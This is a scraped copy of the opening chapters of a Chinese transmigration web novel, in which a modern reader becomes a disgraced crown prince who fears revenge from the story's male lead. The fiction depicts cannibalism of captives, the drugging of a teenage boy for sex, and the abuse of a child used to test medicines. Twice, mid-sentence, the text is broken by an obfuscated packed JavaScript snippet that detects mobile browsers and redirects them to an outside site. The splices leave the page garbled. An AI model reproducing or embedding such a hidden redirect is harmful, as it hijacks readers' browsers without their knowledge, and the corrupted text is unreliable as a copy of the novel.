《这太子我当不了》 1. 刀俎 漠北的这个冬天真是冷得折胶堕指,终日起着刀子似的割得人面颊生疼的白毛风,草甸嶙石也被厚厚的积雪覆盖。立于此间,惟觉天地茫茫,无限萧索。 “叶护说这块米肉已经寒邪浸体,用不得了,”一个锦裘辫发的突厥男人拖着一个身量瘦小的孩子出帐,交给一旁正烧着马粪取暖的瘸马倌,“你去把他处理干净了,扔远一点,别留下什么瘟病。” 马倌漫不经心地应了声。 这不是他处理的第一块残次的“米肉”了。 他熟能生巧地俯身,将那以脸着地的姿势被拖行了一路的孩子翻了个面。 是个男孩子,双眼紧闭,面容生得挺精致,但手脚俱已青僵泛紫,还连声咳喘,一副已经挺不了几个时辰了的虚弱模样。 “娘……”男孩无意识地轻呓着。 马倌知道这个中原音节是他们突厥语中“阿奶(ana)”的意思。 他的手掌本已探向腰间,准备抽出弯刀抹了这男孩的脖子,可见男孩已是这副哀惨病容,就是自己不动手也大概率活不成了。 而且自己手指上的冻疮正发作着,痛得很,也懒得再费杀人抛尸的工夫了,他索性直接把男孩绑在马背上,一拍马鬃,眯起眼望着马儿扬蹄向远方奔去。 那孩子估计很快就要被冻死在风雪里。 “唉,这天寒地冻的鬼天气,还是找壶烧酒喝舒服啊。” 马倌摇了摇头,轻声哼起一支突厥情歌,一旁燃得正旺的马粪堆冒出暖烘烘的臭气。 …… 萧鸿雪浑身发烫,昏昏沉沉地做了个梦。梦里,他又回到了那个漠北的雪天。 彼时病得奄奄一息的他胳臂被一根粗麻绳捆着,绳索穿过腰边辔头上的铜环扣,将他结实地绑在冷硬的马匹鬃背上。 身下的马儿每次颠簸起伏他都疼得冷汗涔涔。 许久后,他有了些气力,挣扎着睁开眼,只见天也素白,地也素白,单调得有些可怖。 数月前,他也是这样被突厥兵绑在马背上掳回叶护帐中的。 突厥兵驾着那百数左右的马匹,在齐膝高的蒿草滩上夜奔。马颈处,无一例外地都吊着一颗血肉模糊的男人的脑袋,马背上则绑着一个衣裙褴褛、披头散发的女人,或是因年岁稚嫩被视作“上乘米肉”的孩童…… 他知道,他们这是被“打秋风”了。 打秋风,即那帮塞外蛮匪到中原边境的村镇来奸淫掳掠、抢钱放火。 这些极擅骑射、机动性奇高的马背民族,因入冬后塞外瘠寒,对中原丰饶的物产资源垂涎不已,常像蝗虫群一样疯涌到边镇“打秋风”。 他们见到男人就砍,直接剁成肉臊再装坛充作行军口粮,见到女子就扑上去,给人折腾死了就抬脚一踹。 抢掠钱财就更不必说,遭“打秋风”后的边镇,往往是连斜躺在道旁的尸首都被剥走了衣裳。 最后,孩子和还有留口气儿的女子都给绑上马背一齐带回营帐。 原因无它,女人和孩子,食用起来肉质更加细腻鲜嫩。 突厥人嗜爱这两种吃米长大的“肉”,故称这些被掳回帐作过冬粮食的妇孺为“米肉”。 “不要,不要割我的肉,不要吃我,疼,好疼啊……” 梦中,女人尖细的、撕心裂肺的叫喊声与孩子惊惶的哭声乱糟糟地混在一起,吵得萧鸿雪头疼欲裂…… 萧鸿雪眉头紧蹙,大汗淋漓地睁开了眼。 随着视野渐渐清明,映入眼帘的是缀着繁复珠玉的红纱罗幔,一股暖润的奇异旖香摩挲着鼻尖。 一个额心生着红痣的青年正神色迷醉地将只着单衣的萧鸿雪抱在怀中,舐吻他的眉眼。 “太子殿下?你……” 萧鸿雪愕然地看着面前这个青年,被吓得浑身僵硬。 反应过来发生了什么后,他迅速拔出脑后束发的银簪,又惊又怒地刺向青年的腰腹。 “你给我下药?滚,别碰我!” 萧鸿雪没有注意到,就在他刺出那一簪的前几秒,他眼前的这个青年突然恍了恍神,面上神情变换…… 一阵剧烈的头晕和眩目感后,杨惜只觉得眼前迷迷朦朦的,什么也看不清。 杨惜还没缓过来呢,一柄尖锐的银簪就猛地刺进了他的腰腹。 杨惜低头看去,一只有些苍白的、极其纤瘦漂亮的手,正握着银簪抵在他腹前。 “卧槽,你特么谁啊?刚见面就先给我来一刀?!” 杨惜算是被这一下给彻底捅清醒了,捂着流血的小腹闷哼一声。 杨惜顺着腹前那只瘦得青筋显凸的手迷茫地望过去,想要好好看清行凶者的模样——然后被那张异常出挑的脸给生生看愣了。 那真是个过分漂亮的少年,约莫十四五岁,唇薄鼻挺,银发如瀑,一双琉璃似的紫色眼眸笼着几分淡淡的病气,泛着点点柔润水光。 杨惜愣住了,嘴唇翕动了一下,还没组织好一句完整的话,萧鸿雪紧攥在掌中的银簪就掉到了地上,一声脆响。 原来萧鸿雪的身体因药力作用软得不行,几乎是拼了命才刺出刚才那一下。现在,他没有一丝力气,簪子都握不稳了。 此时的萧鸿雪衣衫凌乱,额上不断有细汗渗出,仍旧蹙紧长眉,以十分戒备的姿态和杨惜对视,毫不掩饰对他的提防与厌恶。 “滚……”萧鸿雪颤动着颜色很淡的唇,像一只受了重伤的困兽似的,嘶哑地吼道:“萧成亭……我一定要杀了你!” “你……叫我什么?萧……萧成亭?” 听见萧鸿雪低哑的怒吼后,杨惜愣了愣,也顾不上腹部还在不断渗出湿黏的血水,把华美的寝衣都洇了个透,他赶忙下了榻,走到铜镜前。 杨惜看着铜镜中那张全然陌生的脸,标致与否还来不及细细评赏,就注意到了额心那点显眼的朱砂痣,此外,他两边的眼尾处也各生着两枚墨色的滴泪痣。 这三颗痣……所以还真是他想到的那个“萧成亭”啊! 杨惜记得自己在家无聊时从老爸床头顺走的那本《燕武本纪》里就有个草包太子萧成亭,因生来就有一红两黑三颗痣,很是奇异,故而民间戏称他为“萧三痣”、“三痣太子”。 他老爸是一条阅书无数的网络文学老书虫,他偶尔也会窃读一下他老爸买回家的花花绿绿的小说打发时间。 在他老爸那些爱书这么多年的熏陶之下,杨惜很快就反应过来发生了什么——他这是穿书了! 这《燕武本纪》是一本大部头的乱世无cp大男主权谋小说,虽然他穿成了燕国太子萧成亭,但是那个霸气的“燕武”帝谥其实和这萧成亭没有半毛钱关系。 不久后,萧成亭就会遭人算计被废掉储位,搬进宗人府数墙砖。 原因是他把此书真正的男主,后来的燕武帝萧鸿雪给狠狠地惹了。 怎么惹的呢,就是萧成亭在萧鸿雪少年时曾因其美得雌雄莫辨的容颜将他错认为绝色女子,一时色迷心窍,使了给萧鸿雪下迷情药这种下作手段,想要与他欢好。 结果萧成亭正对昏迷的萧鸿雪又啃又亲时,萧鸿雪突然醒来,一簪子把萧成亭扎得落荒而逃。 怎么感觉这段情节听起来这么熟悉呢,就像刚刚才发生过一样…… 杨惜顿了顿,后知后觉地望向床榻上的那个少年,“那个……你……不会就是……萧鸿雪吧?” 萧鸿雪没有说话,其实也无需他本人证实,《燕武本纪》全书里只有男主萧鸿雪一人生着那标志性的银发紫眸,很美,很特别,很好认……杨惜的心也凉得很彻底。 他将记忆中这萧成亭的结局仔细地回想了一遍,有些欲语泪先流。 穿书可以,但穿萧成亭是大大的不可以。因为《燕武本纪》对男主萧鸿雪来说是热血权谋文,可对萧成亭来说那就是一部黑残的《毛毛虫历险记》啊! 萧鸿雪在被萧成亭欺辱后,慑于萧成亭的太子权势,暂且隐忍不发。但在他得势后,立马就给那时已被囚在宗人府的萧成亭动了宫刑和膑刑,把他弄成了半身残废。 都这样了,萧鸿雪不但不肯给萧成亭一个痛快,反而用名贵的药材吊着他,让他求生不得求死不能,后半辈子都像条毛毛虫似的在宗人府里爬来爬去。 如果在这萧成亭惹到男主前穿过来还好说,但为什么好死不死,偏偏穿在他把男主惹完之后?明明爽到的是原主,为什么要留下来面对宫刑和膑刑的是我啊?! 老天爷,我c你爸爸…… 魂穿已经完成自己反派使命的萧成亭真的还不如直接魂穿一条毛毛虫,反正最后也是要在地上爬来爬去,不如直接魂穿毛毛虫,还少走几十年弯路呢…… 榻上的萧鸿雪一直冷冷地看着杨惜,见他举止怪异,心下也很疑惑。有寒风自轩窗内吹进,萧鸿雪偏过头,咳嗽了一声。 “你冷吗?” 杨惜听见萧鸿雪咳嗽,这才想起他还把男主晾在一边儿呢,于是取下挂在架上的一件白狐裘,在暖钵旁烘了烘,披在萧鸿雪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824228|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上。 萧鸿雪满脸防备地看着突然靠近的杨惜,蹙紧眉头极力挣脱,杨惜却不由分说地替他系紧了狐裘。 然后,杨惜可能是一时被刺激过了头,背对着萧鸿雪坐在榻边,一言不发。 他分析着当前的局势。虽然不该惹的已经惹了,但这个时间节点萧成亭的皇帝老爹还在,他也还没被废掉储君之位,实打实的东宫太子啊。 而他萧鸿雪后期再牛逼,这时也只是昭王府中一个颇受冷待的外室庶子而已。 为了后半辈子不变成残废在宗人府里满地乱爬,不如先下手为强,直接把萧鸿雪做掉算了…… 杨惜按着那柄方才取狐裘时一并取下的、悄悄藏在身后的佩剑,亮红摇曳的烛火在他颊侧投下一片阴影。 他稳了稳心神,回过头,面沉似水地看着萧鸿雪,然后拔剑出鞘,向萧鸿雪刺去。 裹在狐裘里的萧鸿雪因浑身绵软无力,躲无可躲,只能昂起头,用那双冷得像淬过冰的眼眸静静看着杨惜。 烛影摇红,映着那执剑人白皙的面庞,配上他额心那点红砂,一时竟像话本中的狐鬼精怪般妖冶,美得摄人心魄…… 然而,杨惜的剑刚抵住萧鸿雪的胸膛,那剑就从他手中脱落,咣当一声,掉到一旁了。 杨惜身形一晃,重重地倒在了地上,昏了过去。 杨惜躺在显德殿冰凉的地砖上,只觉一阵头晕恶心,耳里回荡着哨声似的尖锐的鸣响。 脑海里像有千万只虫蚁一齐啮咬着他的神经,疼得他难以忍耐,痛苦地痉挛起来。 这时,他眼前闪过一串血红色的、格外渗人的句子。 《燕武本纪》世界规则警告: 「严禁杀死男主萧鸿雪!男主作为供应本世界能量的核心,若因非小说预先设定的各种不自然手段干预而死亡,本世界将会即刻崩塌,你的存在也将被抹消。」 反应过来自己刚才差点干了什么,杨惜额上直冒冷汗。 他一边在地上痛苦地痉挛着,一边在心中疯狂大喊,好好好,我不杀他了,我疼他舔他关爱他还不行吗。 疼痛的症状这才有所缓解。 过了许久,杨惜大汗淋漓地睁开眼,浑身说不出的虚弱。 而身披狐裘的萧鸿雪站在一旁居高临下地看着他。 萧鸿雪眉眼清峻,虽然面容依旧苍白,但身体看上去已经恢复如常了,浑身透出一股矜雅淡漠的气质。 这时,杨惜偏过头,猛吐一口乌黑的淤血,血溅在地砖上,犹如几团墨花,绽得妖异。 萧鸿雪冷冷地看着杨惜吐血,没什么表情,弯腰拾起那把掉在一旁的剑。 完了,不会要被反杀了吧? 杨惜一颗心瞬间提到了嗓子眼,紧张地看着萧鸿雪。 但萧鸿雪只是解下了身上那件狐裘,置于剑尖,然后不带任何感情地用剑把狐裘挑到杨惜身上。 然后,他没有丝毫犹豫地将剑扔到一旁,径直略过倒在地上的杨惜,走到门边打开了门扇。 “多谢太子殿下今日盛情款待,”只着单衣的萧鸿雪按着门框伫立,背影清瘦颀长,一头顺如绸缎的银灰色发丝随风飘动。然后,他回头看了杨惜许久,一字一顿地说道,“萧鸿雪,来日定当报偿。” 他的声音很轻,动听如清泉潺湲,落在杨惜耳中却字字发聩。 ……完了。 原主单是下药强迫男主未遂都被他给生生折成了毛毛虫,自己倒好,是嫌半身残废不够,想换个全残的豪华升级款吗?居然一来就大笔一挥地又给这萧成亭添了上一条杀男主未遂的罪名。 萧鸿雪走后,杨惜只觉得眼前一阵发黑,又躺回地砖上。 他探掌盖住了自己的两眼,心中凄凉地响起了那首《向天再借五百年》的旋律。 但可能是悲极生乐,一个念头突然出现在他脑海里。 作为曾完本阅读了《燕武本纪》的读者,凭借自己对小说剧情的了解和重大事件的记忆,未必不能和这个尚处在成长期的小男主斗上一斗吧? 而且,斗不斗的暂且不提,就是早日计划跑路也是好的。要是什么也不做,只在这里坐以待毙,那才是真的完了! 想到这里,杨惜站了起来,为自己简单包扎了一下伤口。 伤口不深,他方才走神那会儿血就已经止住了。想来是因为萧成亭毕竟是东宫储君,萧鸿雪生性谨慎,下手还是留了些分寸的。 然后,杨惜就开始在脑海中仔细梳理起剧情。 2. 深仇 虽然《燕武本纪》有洋洋洒洒两千多章,但说白了也只是在讲这萧鸿雪四十多年的传奇人生而已。 作为一口气追完了《燕武本纪》,可以说是看着萧鸿雪长大的杨惜,可能比萧鸿雪的亲娘还要熟悉他。 这萧鸿雪走的不是那种经典的阳光热血成长型男主路线,他生性阴戾淡漠,不好享乐也不恋美色,一心只图社稷。 他房中妻妾都尽为了政治利益而娶纳,日常生活简素得像个和尚,甚至有读者调侃萧鸿雪的官配其实是皇位。 至于出身,萧鸿雪是当朝昭王的幺子,太爷爷因从龙有功才被高祖封王并赐了国姓。 不过,要论实际地位,昭王一脉经过三代人近百年的经营,早已与正统的皇室亲王无异。 虽然萧成亭和萧鸿雪是同姓异宗,这亲戚是后天结的,没有实质上的血缘关系,但两人相见,礼节上还是得哥俩好地互称一声族兄弟才对。 但这色胆包天的萧成亭不仅把自己的小族弟错认成美女,给人家下药,还差点真把他给睡了,简直造孽…… 那可是萧鸿雪啊!《燕武本纪》用两千多章笔墨来刻画的乱世枭雄式的大男主,一个能隐忍蛰伏十三年的狠人。 他拥有惊世的艳才韬略不说,而且是真正的睚眦必报、手段狠辣。 杨惜印象最深刻的一段小说剧情就是萧鸿雪在位第十年时,尚书左仆射谢韫突然造反篡国,变国号为秦,将萧鸿雪改封为义王,圈禁在长安京郊,并令其亲信迁往边邑凉州。 这谢韫本是受了先帝顾命的辅政大臣,在朝中风评极佳,是众人眼中霁月光风的儒雅君子、士林之首。 就连萧鸿雪这个皇帝都是他一手扶上去的。 这样的人,突然起事逼宫了,自然满朝俱骇。 但也只能骇,不敢言。 谢韫是晋阳谢氏出身,这晋阳谢氏是百年豪族、门阀士首,背倚一众世家,早年民间就有“谢与萧,共天下”之说,足见其底蕴深厚。 萧鸿雪为暂避其锋芒,只得先以义王身份俯居京郊。 但萧鸿雪并未就此一蹶不振,而是卧薪尝胆了十三载。 期间,他通过书信秘密地将凉州那些忠于自己的旧部组织起来,募练凉军、韬光养晦。 在他派去的刺客成功毒杀谢韫之后,他与自凉州南下的大军会合,成功复位。 萧鸿雪携剑亲征,于阵前将谢韫的胞弟、柱国大将军谢韬枭首,后顺势抄了谢氏满门,夷其三族,在谢府门前垒起数米高的人头塔泄愤。 大概是在京郊含垢忍辱的那段生活真的把萧鸿雪折磨成一个阴鸷残暴的心理变态了,他复位后还前往皇陵,亲手将谢韫的尸首掘出,曝于长安城墙上整整十三年。 硬是把自己被废受辱的那十三年一日不差地还给了谢韫。 十三年啊,别说尸首了,哪怕是腊肠、熏肉听了都发怵,何况萧鸿雪又不会给谢韫的尸首刷盐防腐,恐怕连完好的骨头都难留下一根。 这位在“忍”字一道上造诣至臻的燕武帝是真的蛮狠的,对他人狠,对自己犹甚。 为大事计,就连自己那身怀麟儿的贵妃都被谢韫给生生勒死在面前了,萧鸿雪仍能做到面不改容。 这简直就是一个翻版的刘病已嘛。 也难怪他能中兴燕室,后来更是在狼火不休的乱世之中开疆辟土、鞭及戎狄,开“迩平之治”的盛世局面…… 和萧鸿雪进行了一下简单的人物对比后,杨惜不禁思考起萧成亭这个草包太子存在的意义是什么? 很快,他得出了一个简单粗暴的答案——为了爽。 萧成亭是小说作者设置的一个爽点。他在男主萧鸿雪游梅园时见色起意,往萧鸿雪的酒水中下了迷情药。 在榻上被萧鸿雪一簪子扎老实了后,还依仗自己的太子权位,派人去威胁他不许声张。 后来男主逆袭上位,把这位昔日以势凌人、阴怂狡诈的太子殿下弄成了残废,让他走路只能靠手爬,连和在宗人府里洒扫送饭的丫鬟仆从们讲话都要抬头仰视。 够爽,够解气吧? 杨惜记得当时自己看这段的时候是挺爽挺解气的,不过,现在他自己第一视角体验太子生活,就一点都爽不起来了。 惹了萧鸿雪这么个睚眦必报的主,这萧成亭不在宗人府满地乱爬才怪呢。 小说中的那段描述只是简单地一笔带过,但杨惜光是想象了一下,就感觉自己的腿肢冰凉僵硬,一阵剥肤椎髓的剧痛自腰腹蔓延到小腿。 ……好像已经开始幻痛了。 他以前怎么没发现,和自己欣赏的小说角色同处一个世界原来是这么恐怖的事情? 其实《燕武本纪》在连载萧鸿雪蛰居京郊十三年那段受尽屈辱的生活时,评论区那叫一个骂声喧天。 诸多书友都对男主的“窝囊”、“受气”表示不满,发出了“你雪到底是权谋大男主还是忍者神龟”的质疑。 但杨惜倒不这么觉得,与一路开挂一路金手指的传统大男主相比,萧鸿雪可以说是“开局一条狗皇位全靠打”。 这萧鸿雪亲爹不疼后母不爱地活了二十多年,好不容易登基了,又受那个大反臣谢韫箝制,被赶到京郊去蹉跎了十三载春秋,终于才重登帝陛。 杨惜一直都很欣赏勾践、刘病已这种长于隐忍,在尝受过难以想象的人生苦处后,仍能以一身之力雪耻并安天下的角色,所以他还挺能get到萧鸿雪的人设的。 他曾在自身难保的期末周通宵三刷,并且找到小说发布的源网站,激情码下数条类似“萧鸿雪!男人中的男人,雄性中的雄性,男人中的支配者,男人中的统治者,男人之主,男人的终结者,王,大师,上神,帝王,魔主,压倒性的男人!人类小说角色史上永垂不朽的巅峰!”的千字长评,表达对萧鸿雪的喜爱。 不过,大概也只有这部小说的作者愿引杨惜为知己了。评论区的书友们都一致认为他是萧鸿雪的头号梦男、大脑残粉。 那时的杨惜做梦都想不到有一天会穿进书里和萧鸿雪面基。 而且,穿谁不好,偏偏还穿成了差点把自推这个翻版刘病已给睡了的草包太子! 那天杀的原主自己倒是抱了亲了一爽跑之,留下一地烂摊子给刚穿书的他来收拾。 而且仔细想想,他都干了些什么啊,见到萧鸿雪的第一面不仅没有和他畅叙自己的喜爱和崇拜之情,反倒为了保命想忍痛割自推,朝萧鸿雪挥了一剑…… 如果刺中了倒还好,偏偏世界规则禁止他对萧鸿雪下手! “唉……” 杨惜仰头叹了口气。事已至此,也只能既来之则安之了,惹不起那我还躲不起吗? 大不了日后使尽浑身解数去讨好萧鸿雪,在他面前夹着尾巴低头做人就是了。 想着想着,他的眼角余光不经意地一瞥,宫殿角落的一个红木书架引起了他的注意。 夹在那几卷竹简里的好像是……一张人皮? 杨惜快步走到书架前,自几卷竹简的缝隙中小心翼翼地抽出了一张细腻光滑的“人皮”,置于掌间仔细抚挲了几下后,他松了口气。 这张皮虽然无论是触感、色泽还是质地,都仿人皮仿得极为逼真,但若仔细分辨还是能够发现其中端倪的。 不过,这萧成亭怎么会在寝殿里藏这么惊悚的东西,和这种东西共处一室真的睡得着觉吗? 杨惜顺道翻看起书架上的书籍,发现大都是易经爻辞、阴阳道法一类的,这个萧成亭好像在研习道术。 杨惜没有细想,把那张皮塞了回去,又把架上的竹简规整了一番。 突然,他在书架角落里摸到了一个小暗奁。 他将暗奁抽出,发现里面摆放着一把蝉翼刀、一支朱砂笔、还有些藤黄、赭石之类用于丹青的颜料。 此外,他还在奁底翻到了几张泛黄的手迹,上面详细记载着画皮易容的教程。 “画皮易容……吗?” 杨惜看着夹回缝隙的那张皮和这奁中盛放的工具,沉思了一会儿。 他想起《燕武本纪》原著里是有一些低魔玄幻设定,这画皮术应该是真的。 “感觉……倒是一个跑路的好办法啊?” 他站在书架前,细细研究起手迹上的内容,在那张仿真皮上试了一下奁内的画皮工具。 他发现这具身体似乎还残留着原主的一些知识和肌肉记忆,实操起来很是得心应手。 不过半日的工夫,他就已经将自己易容成了自己在现世的真实模样。 “这种程度的话,应该够我无痛跑路了。”杨惜对着铜镜摩挲起自己的眼鼻,满意地勾了勾唇角。 “还是自己的脸看着舒心,穿进别人的身体里总感觉浑身不自在。” 他打量着自己现在这副纤纤弱质的胳臂与双腿,很是嫌弃。 他在现世里虽然没有双开门大冰箱那种夸张的身材,但也是高挑薄肌那一款的,中学和大学时期都在校篮球队。 而这萧成亭一看就是个自小娇生惯养的绣花枕头,除了一张皮相还算不错之外,就只剩那颗包天的色心称得上“出众”了。 杨惜卸下了易容,将工具都收拾好放回原位。 他现在还没打算跑路。 既然都要把这萧成亭可能遭受宫刑和膑刑的惨淡未来给接盘了,如果再不趁现在好好享受一下一国太子奢靡淫逸的生活,感觉很亏啊? 他披上白狐裘,慢慢踱出了大殿,正是黄昏时分,殿外飞着清雪,风也寒冽刺骨。 一个粉头白面的小黄门见他出来,赶忙走上前,朝他行了一礼,道:“殿下,宫宴的时辰要到了,轿辇已在显德殿外候着,您快随奴婢过去吧。” “正好,我……本宫也有些饿了,走。” 杨惜由这小黄门搀着上了轿,随口向他打听,“这是什么个筵席?” “回殿下,是宁国侯的接风宴。” “宁国侯……是扬州的贺钦?”杨惜仔细回忆了一下。 他对这贺钦没什么印象,倒是对他的儿子贺萦怀印象深刻。 这贺萦怀二十岁就承袭了他爹老宁国侯的爵位,在谢韫篡国后拒不服秦,领太湖水师踞于扬州,仍以燕臣自称。 他曾呼召各路诸侯结为同盟北上勤王,可惜由于其人性情过于冷傲肃直,疏于恩恤下民,渡江之战前夜死于身边仆从的暗害,收场得仓促潦草。 虽然这位姑苏贺郎的早逝令人扼腕,但他确实很有气节,是除了萧鸿雪之外的“反秦复燕”第一人,至死都没有辜负大燕宁国侯的爵名,杨惜对他还是很敬佩的。 “正是,宁国侯兼领扬州牧,因前月清剿太湖水匪有功回京述职,昨日方至。” “今日陛下在章华宫为宁国侯举办接风宴,在京官员四品以上的悉数要到场的。” 是了,萧鸿雪今日正是随他爹昭王进宫的。昭王去御书房觐见圣颜,就把萧鸿雪留在梅园赏景等候。 萧成亭的轿辇偶然路过梅园时,只见赤如红霞的朱砂梅间立着一个银发雪衣的美人,仿佛雪的精魂所化。 这幅红白相映的美人踏雪观梅图,直接看得萧成亭色迷心窍了,当场给那位不知来历的美人赐了一坛掺了药的酒,把他带回了显德殿……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824229|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 其实在见了萧鸿雪本尊那美得雌雄莫辨的模样后,杨惜就没再怪过原主萧成亭眼瞎,连自己的小族弟都认不出来。 但他依然很唾弃原主。 萧成亭这小色鬼,才多大年纪,不好好读书,净想着那档子事!现在好了,前人砍树,后人暴晒啊。 杨惜在心里正唾弃着,轿辇停了。 他刚掀开轿帘,立马有一个绿裳的侍女送来一只嵌金小暖炉让他抱在手中。 他抱着暖炉抬头一望,看见了一块镌着“章华宫”三个烫金大篆的黑木匾额。 这章华宫确如其名,雕梁画栋,华灯煌煌,侍女们端着盘皿进进出出,纷纷向他见礼。 他坐在离帝后最近的席位,许多朝中要员端着酒盏来和他打招呼。 “殿下近来安好?” “自然。本宫观大人也比上次见更为英姿勃发了。” “哪里哪里,殿下才是龙章凤姿,天日之表啊……” 杨惜本就开朗健谈,他和这些官员们连连举觥对饮,社交社得不亦乐乎。 酒过几巡后,杨惜的目光无意间瞥见了昭王身后那个清冷漂亮的面影。 萧鸿雪垂着眸,不言不语地坐在父亲昭王身后,银发披肩,薄唇紧抿,一双紫眸似潭水般静谧幽深。 因为他出显德殿回梅园时只着单衣,受了寒,此时面容很是苍白,眼尾如坠霞烟般微微发红。不过,他这幅惨弱的模样似乎更加美得慑人了…… 啧啧,不愧是男主啊,这张脸的建模真是没得说。 杨惜感觉自己喉咙有点发干,不自然地咳了一声,反应过来后,他狠狠地给了自己一下。 那是男主!男主!而且是个和自己亲弟杨忱一般年纪的小毛孩子! 直不直的倒无所谓……不对,也不是无所谓,但是杨惜啊杨惜,这童咱们是绝对不能恋啊! 把萧鸿雪和杨忱那死小子联想了一下果然有奇效,他很快就稳定了心神,以一种慈爱大哥哥的心态去观察萧鸿雪。 萧鸿雪身上披着拜托宫人寻来的新大氅,脑海里强迫性地回想着方才自梅园到太子显德殿发生的种种。 身为男儿,竟受这等欺辱和作践……萧鸿雪在案下紧攥着指掌,指甲把掌心掐出了深深的白痕。 然而,他刚一抬起头,就看见了那张最令他痛恶作呕的脸。 有些卷曲的墨色长发,碧玉般的眼眸,额心一点红痣,两边眼尾处各生着一点黑色的滴泪痣——当朝太子萧成亭。 倏然和萧鸿雪目光相撞,杨惜也很是心慌,但面上到底绷住了,朝他颔首,努力绽出一个亲善温柔的笑。 萧鸿雪没什么反应,只是冷冷地看着他,细长漂亮的紫眼中是毫不掩饰的嫌恶与忿恨。 杨惜:“……” 我看他像看我弟,但他看我的眼神就好像在看一堆尸块一样,咱们能重开吗? 这时,坐在高台之上的皇帝,也就是燕武帝之前的一任帝王睿宗,萧成亭的亲爹,满面笑意地开口了: “这太湖水匪作乱已久,不仅妨害漕运往来,也扰得太湖一带民心惶惶,不可安生度日。” “幸得贺卿率麾下水师三入水匪巢穴进行清剿,解决了朕这块心头之患啊。” “……微臣爵号‘宁国’,为陛下、为大燕鞠躬尽瘁,本就是微臣分内之事。” 被点名的贺钦自席间走出,向睿宗行了一礼,然后恭谨地低着头回答。 他鬓角已经有些灰白,脸廓线条如刀刻般刚直硬朗,是很典型的忠直之臣的长相。 不过,杨惜的兴趣不在这贺钦身上,他好奇地沿着贺钦走出来的席位方向望去。 一位肩宽腰窄、身姿挺拔的玄衫少年正端方地抱袖坐在席间。他眉目如水墨般清雅出尘,神情却很是冷肃,颇有一种不怒自威的气度。 这位应该就是贺钦之子,姑苏贺郎贺萦怀了。姿容生得这样俊美,江南果然是钟灵毓秀之地。 杨惜支着腮,在心中感叹道。 贺萦怀见杨惜望着自己,没什么表情变化,举起手中的酒觥朝杨惜遥遥一敬。 杨惜对这贺萦怀本来就印象不错,他勾了勾唇角,也举起酒盏一饮而尽。 “凤皇啊,酒性寒凉,少饮些。”睿宗慈蔼地看了杨惜一眼,转头继续对贺钦说: “贺卿,朕听闻你夫人罹患怪疾,多日不愈,你为了方便照料将她一直带在身旁。朕已派太医署的院判张逸之去住府查看诊治,夫人治好以前,朕许你们一直在京。” “这张太医是有名的杏林国手,玉奴公主当年就是他亲手接生的。好了,阿钦,你也别站着了,入座吧。”睿宗想起昔年自己身为吴王时,与贺钦并辔纵马朱雀桥的少年时光,眉目无比柔和。 “是,臣涕零感激,叩谢陛下圣恩。”贺钦也很是动容,举袖拭了拭泪,坐回席位。 本已有些醺然醉意的杨惜听到“张逸之”这个名字,猛然清醒了,他拈着酒杯,眉头紧锁,仔细回忆起相关剧情。 张逸之这段剧情发生得太早,具体细节杨惜已经忘得差不多了,但他依稀记得这位张太医不但没能治好贺钦的夫人,还引发了一场京城浩劫。 那是一场后来被史书完全抹去了痕迹的恐怖尸疫。 包括宁国侯夫人在内的上万长安百姓被感染殒命,成为见人就咬的毒尸。 一时间,长安除天子禁内之外,百坊千巷内俱有毒尸行走,血流成渠、疮痍满目。解方研制出来后,这场尸疫才渐渐平息了。 最后,这些毒尸被金吾卫集中焚烧,火连七日,映得长安城上空亮如白昼…… 3. 药人 “难得休沐,偏偏还有这小娘皮子要喂,害我酒都喝不痛快!” 在太医署做事的一名吏目骂骂咧咧地拽下密室门环上那把积锈的铁锁,右脚一抬,朝门缝中间狠狠踹去。 门开了。他抻起酒后显得粗红的脖颈,扇着扑面而来的呛鼻粉尘。 长年不见光日的地房里,砖墙四壁爬满了墨团一样的褐绿霉斑,墙根儿堆着许多细碎的土碗片。 入鼻是一股草药与粪汗湿臭混杂的腥苦气味,难闻得很。 一个半大的丫头衣衫褴褛地蜷在耗子洞旁,紧紧捂着胳膊上那些已经溃烂的、触目惊心的肉疤和毒疮,似乎这样做能略微减轻痛感。 阿绣青紫的唇瓣张张合合,虚弱地哼着自己那早死的娘唱过的歌谣: “天黑黑,要落雨,阿公仔举锄要掘芋头……” 虽然在药力作用下,阿绣的五感已经非常迟钝了,但这开门的巨大动响实在难以忽略。 这几月来,只要门一开,准是那名吏目又端了一碗稠乎乎的黑色汤药来灌她。 稍有反抗,他能生生把她的下巴捏脱臼了,脸也扇得高高肿起,几天都难消下去。 阿绣熟悉他的脚步声,每当她听见那声音由远及近,全身就会下意识地痉挛起来。 今日也是如此。不过,阿绣现在实在是太虚弱了,连睁开眼的力气都不剩,只哼哼啊啊地呓着:“我好疼……好疼啊……” “喝!”吏目不耐烦地把药碗一掷,在女孩身上重重地踹了一脚。 阿绣突然挨了这一脚,惊恐地爬起。 她强忍着疼痛,捧起药碗大口大口地灌下,只觉喉咙被滚熟的药汁烫得皮开肉绽。 她呛咳着回话:“喝完了……喝完了,大人您别揍我……” 吏目嫌恶地看着她嘴角残留的药渍滑进脏污不堪的衣襟,啧了一声,架起瘦弱的阿绣,朝外拖行。 阿绣不知道他要做什么,难道是要像处理掉之前那些被喂药喂得“不中用了”的孩子一样,把她也拖出去处理掉? 想到这儿,她颇为不安地挣扎起来。 “死妮子,别乱动……不要你的小命。” “圣上命张大人去宁国侯府上住府诊治,大人说宣阳坊和太医署之间路途遥远,为了方便诊疗,要把你也带到府上,为宁国侯夫人试药。” 